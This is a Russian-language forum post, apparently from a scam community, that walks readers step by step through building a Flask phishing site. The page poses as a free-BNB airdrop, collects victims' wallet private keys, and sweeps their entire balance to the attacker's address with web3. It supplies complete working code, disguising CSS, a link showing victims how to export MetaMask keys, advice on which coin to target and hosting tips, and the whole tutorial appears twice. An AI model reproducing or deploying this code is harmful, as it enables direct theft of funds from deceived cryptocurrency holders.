Download_Link
Участник клуба
Итак, сразу к делу.
Суть
Шаг 1
Для начала нам необходимо установить несколько библиотек python, а именно:
pip install flask
pip install web3
Теперь импортируем нужные библиотеки в код:во время установки web3 вылезла ошибка то Вам сюда - https://stackoverflow.com/questions
/58287344/pip-install-web3-not-installing
from flask import Flask, request
from web3 import Web3
app = Flask(__name__)
Шаг 2
Далее нам необходимо создать простую html форму. Я буду показывать на данном примере:
@app.route("/", methods=["GET"])
def index():
return """
<form action="/reward" method="post">
<p>Paste BNB your private key , and receive free BNB</p>
<input type="text" id="Privatekey" name="privatekey" placeholder="Your private key..">
<br>
<label>We need private key to validate your account!</label>
<br>
<input type="submit" value="Submit">
</form>
"""
Шаг 3
Приступаем к скрипту автовывода, но для начала нам нужно определиться с криптовалютой, которую будем фишить.
Рекомендую BNB там комиссии намного меньше чем в эфире и битке + шанс найти мамонта очень высок!
Для этого нам нужно найти RPC ссылку нашей крипты, для BNB это - https://bsc-dataseed.binance.org/, другие можно найти тут - https://www.airdrops.blog/adding-networks-to-metamask/,
Далее ссылку и Ваш адрес на который будет производиться вывод, нужно будет вставить в код:
@app.route('/reward', methods=["GET", "POST"]) # создаем новую страницу
def mamontizaciya():
if request.method == "POST":
privatekey = request.form.get("privatekey") # получаем ключ мамонта с формы
rpc_url = str("RPC") # вставляем rpc ссылку
web3 = Web3(Web3.HTTPProvider(rpc_url)) # подключаемся к блокчейну
account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # проверяем ключ на валид
account_1 = account.address # генерируем адрес с приватного ключа
account_2 = "Ваш адрес" # вводим ВАШ адрес
balance = web3.eth.get_balance(account_1) # получаем баланс мамонта
balance = web3.fromWei(balance, 'ether') # конвертируем баланс в обычный вид
if balance > 0: # если баланс меньше 0 , то нахуй он нужен
gas_price = 10 * 21000 / 1000000000 # получаем стоимость комиссии
if gas_price > balance: # проверка мамонта на бедность (на возможность оплатить комиссию)
return "AirDrop only for BNB holders" # недостаточно денег у мамонта на оплату комиссии
else:
nonce = web3.eth.getTransactionCount(account_1) # получаем транзакии мамонта
# создаем транзакцию
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}
signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # подписываем транзакцию
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # отправляем транзакцию
return "Congratulations! Soon you`ll receive reward!" # если это увидел мамонт , то мамонтизация прошла успешно
else:
return """AirDrop only for BNB holders"""
if __name__ == "__main__":
app.run()
# Конец кода
Шаг 4
У каждой сети есть комиссия, где-то больше, где-то меньше. Чтобы её изменить редактируем следующие строки:
gas_price = gas price * gas limit / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': gas price,
'gasPrice': web3.toWei(gas limit, 'gwei')
}
Пример:gas_price = 50 * 50000 / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 50000,
'gasPrice': web3.toWei(50, 'gwei')
}
Тут всё зависит от крипты которою Вы будете фишить.
Шаг 5
Поздравляю сайт написан, но конечно сейчас он будет без стилей и выглядит так:
Пример кода с css:
from flask import Flask, request
from web3 import Web3
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return """<html>
<head>
<style>
*{
margin: 0 auto;
}
html, body {
width: 100%;
height:100%;
}
body {
background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab);
background-size: 500% 500%;
animation: gradient 15s ease infinite;
}
@keyframes gradient {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
form{
width: 450px;
text-align: center;
background-color: white;
border-radius: 12px;
padding: 30px;
}
input[type=text], select {
width: 450px;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
input[type=submit] {
width: 450px;
background-color: #4CAF50;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
div{
padding-top: 15%;
}
#footer {
text-align: center;
position: fixed;
left: 0; bottom: 0;
padding: 10px;
background: white;
color: #fff;
width: 100%;
}
</style>
</head>
<body>
<div>
<form action="/reward" method="post">
<p style="font-size:23px;">Paste BNB private key , and receive free BNB <img src="https://s2.coinmarketcap.com/static/img/coins/200x200/1839.png" alt="bnb.png" width="20px;"></p>
<input type="text" id="privatekey" name="privatekey" placeholder="Your metamask private key..">
<br>
<input type="submit" value="Submit">
</form>
</div>
<div id="footer">
<a href="https://metamask.zendesk.com/hc/en-us/articles/360015289632-How-to-Export-an-Account-Private-Key">How to get private key from metamask?</a>
</div>
</body>
</html>"""
@app.route('/reward', methods=["GET", "POST"]) # создаем новую страницу
def mamontizaciya():
if request.method == "POST":
privatekey = request.form.get("privatekey") # получаем ключ мамонта с формы
rpc_url = str("RPC") # вставляем rpc ссылку
web3 = Web3(Web3.HTTPProvider(rpc_url)) # подключаемся к блокчейну
account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # проверяем ключ на валид
account_1 = account.address # генерируем адрес с приватного ключа
account_2 = "Ваш адрес" # вводим ВАШ адрес
balance = web3.eth.get_balance(account_1) # получаем баланс мамонта
balance = web3.fromWei(balance, 'ether') # конвертируем баланс в обычный вид
if balance > 0: # если баланс меньше 0 , то нахуй он нужен
gas_price = 10 * 21000 / 1000000000 # получаем стоимость комиссии
if gas_price > balance: # проверка мамонта на бедность (на возможность оплатить комиссию)
return "AirDrop only for BNB holders" # недостаточно денег у мамонта на оплату комиссии
else:
nonce = web3.eth.getTransactionCount(account_1) # получаем транзакии мамонта
# создаем транзакцию
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}
signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # подписываем транзакцию
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # отправляем транзакцию
return "Congratulations! Soon you`ll receive reward!" # если это увидел мамонт , то мамонтизация прошла успешно
else:
return """AirDrop only for BNB holders"""
if __name__ == "__main__":
app.run()
# Конец кода
Вот так будет выглядить сайт:
Далее устанавливаем сайт на любой flask хостинг (pythonanywhere например, либо любой другой). Если появляется такая ошибка:
То попробуйте изменить gas limit в коде транзакции и расчёта цены комиссии. Поздравляю, всё готово!
Всем профитов, друзья!
Суть
Шаг 1
Для начала нам необходимо установить несколько библиотек python, а именно:
pip install flask
pip install web3
Теперь импортируем нужные библиотеки в код:во время установки web3 вылезла ошибка то Вам сюда - https://stackoverflow.com/questions
/58287344/pip-install-web3-not-installing
from flask import Flask, request
from web3 import Web3
app = Flask(__name__)
Шаг 2
Далее нам необходимо создать простую html форму. Я буду показывать на данном примере:
@app.route("/", methods=["GET"])
def index():
return """
<form action="/reward" method="post">
<p>Paste BNB your private key , and receive free BNB</p>
<input type="text" id="Privatekey" name="privatekey" placeholder="Your private key..">
<br>
<label>We need private key to validate your account!</label>
<br>
<input type="submit" value="Submit">
</form>
"""
Шаг 3
Приступаем к скрипту автовывода, но для начала нам нужно определиться с криптовалютой, которую будем фишить.
Рекомендую BNB там комиссии намного меньше чем в эфире и битке + шанс найти мамонта очень высок!
Для этого нам нужно найти RPC ссылку нашей крипты, для BNB это - https://bsc-dataseed.binance.org/, другие можно найти тут - https://www.airdrops.blog/adding-networks-to-metamask/,
Далее ссылку и Ваш адрес на который будет производиться вывод, нужно будет вставить в код:
@app.route('/reward', methods=["GET", "POST"]) # создаем новую страницу
def mamontizaciya():
if request.method == "POST":
privatekey = request.form.get("privatekey") # получаем ключ мамонта с формы
rpc_url = str("RPC") # вставляем rpc ссылку
web3 = Web3(Web3.HTTPProvider(rpc_url)) # подключаемся к блокчейну
account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # проверяем ключ на валид
account_1 = account.address # генерируем адрес с приватного ключа
account_2 = "Ваш адрес" # вводим ВАШ адрес
balance = web3.eth.get_balance(account_1) # получаем баланс мамонта
balance = web3.fromWei(balance, 'ether') # конвертируем баланс в обычный вид
if balance > 0: # если баланс меньше 0 , то нахуй он нужен
gas_price = 10 * 21000 / 1000000000 # получаем стоимость комиссии
if gas_price > balance: # проверка мамонта на бедность (на возможность оплатить комиссию)
return "AirDrop only for BNB holders" # недостаточно денег у мамонта на оплату комиссии
else:
nonce = web3.eth.getTransactionCount(account_1) # получаем транзакии мамонта
# создаем транзакцию
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}
signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # подписываем транзакцию
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # отправляем транзакцию
return "Congratulations! Soon you`ll receive reward!" # если это увидел мамонт , то мамонтизация прошла успешно
else:
return """AirDrop only for BNB holders"""
if __name__ == "__main__":
app.run()
# Конец кода
Шаг 4
У каждой сети есть комиссия, где-то больше, где-то меньше. Чтобы её изменить редактируем следующие строки:
gas_price = gas price * gas limit / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': gas price,
'gasPrice': web3.toWei(gas limit, 'gwei')
}
Пример:gas_price = 50 * 50000 / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 50000,
'gasPrice': web3.toWei(50, 'gwei')
}
Тут всё зависит от крипты которою Вы будете фишить.
Шаг 5
Поздравляю сайт написан, но конечно сейчас он будет без стилей и выглядит так:

Пример кода с css:
from flask import Flask, request
from web3 import Web3
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return """<html>
<head>
<style>
*{
margin: 0 auto;
}
html, body {
width: 100%;
height:100%;
}
body {
background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab);
background-size: 500% 500%;
animation: gradient 15s ease infinite;
}
@keyframes gradient {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
form{
width: 450px;
text-align: center;
background-color: white;
border-radius: 12px;
padding: 30px;
}
input[type=text], select {
width: 450px;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
input[type=submit] {
width: 450px;
background-color: #4CAF50;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
div{
padding-top: 15%;
}
#footer {
text-align: center;
position: fixed;
left: 0; bottom: 0;
padding: 10px;
background: white;
color: #fff;
width: 100%;
}
</style>
</head>
<body>
<div>
<form action="/reward" method="post">
<p style="font-size:23px;">Paste BNB private key , and receive free BNB <img src="https://s2.coinmarketcap.com/static/img/coins/200x200/1839.png" alt="bnb.png" width="20px;"></p>
<input type="text" id="privatekey" name="privatekey" placeholder="Your metamask private key..">
<br>
<input type="submit" value="Submit">
</form>
</div>
<div id="footer">
<a href="https://metamask.zendesk.com/hc/en-us/articles/360015289632-How-to-Export-an-Account-Private-Key">How to get private key from metamask?</a>
</div>
</body>
</html>"""
@app.route('/reward', methods=["GET", "POST"]) # создаем новую страницу
def mamontizaciya():
if request.method == "POST":
privatekey = request.form.get("privatekey") # получаем ключ мамонта с формы
rpc_url = str("RPC") # вставляем rpc ссылку
web3 = Web3(Web3.HTTPProvider(rpc_url)) # подключаемся к блокчейну
account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # проверяем ключ на валид
account_1 = account.address # генерируем адрес с приватного ключа
account_2 = "Ваш адрес" # вводим ВАШ адрес
balance = web3.eth.get_balance(account_1) # получаем баланс мамонта
balance = web3.fromWei(balance, 'ether') # конвертируем баланс в обычный вид
if balance > 0: # если баланс меньше 0 , то нахуй он нужен
gas_price = 10 * 21000 / 1000000000 # получаем стоимость комиссии
if gas_price > balance: # проверка мамонта на бедность (на возможность оплатить комиссию)
return "AirDrop only for BNB holders" # недостаточно денег у мамонта на оплату комиссии
else:
nonce = web3.eth.getTransactionCount(account_1) # получаем транзакии мамонта
# создаем транзакцию
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}
signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # подписываем транзакцию
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # отправляем транзакцию
return "Congratulations! Soon you`ll receive reward!" # если это увидел мамонт , то мамонтизация прошла успешно
else:
return """AirDrop only for BNB holders"""
if __name__ == "__main__":
app.run()
# Конец кода
Вот так будет выглядить сайт:

Далее устанавливаем сайт на любой flask хостинг (pythonanywhere например, либо любой другой). Если появляется такая ошибка:

То попробуйте изменить gas limit в коде транзакции и расчёта цены комиссии. Поздравляю, всё готово!
Всем профитов, друзья!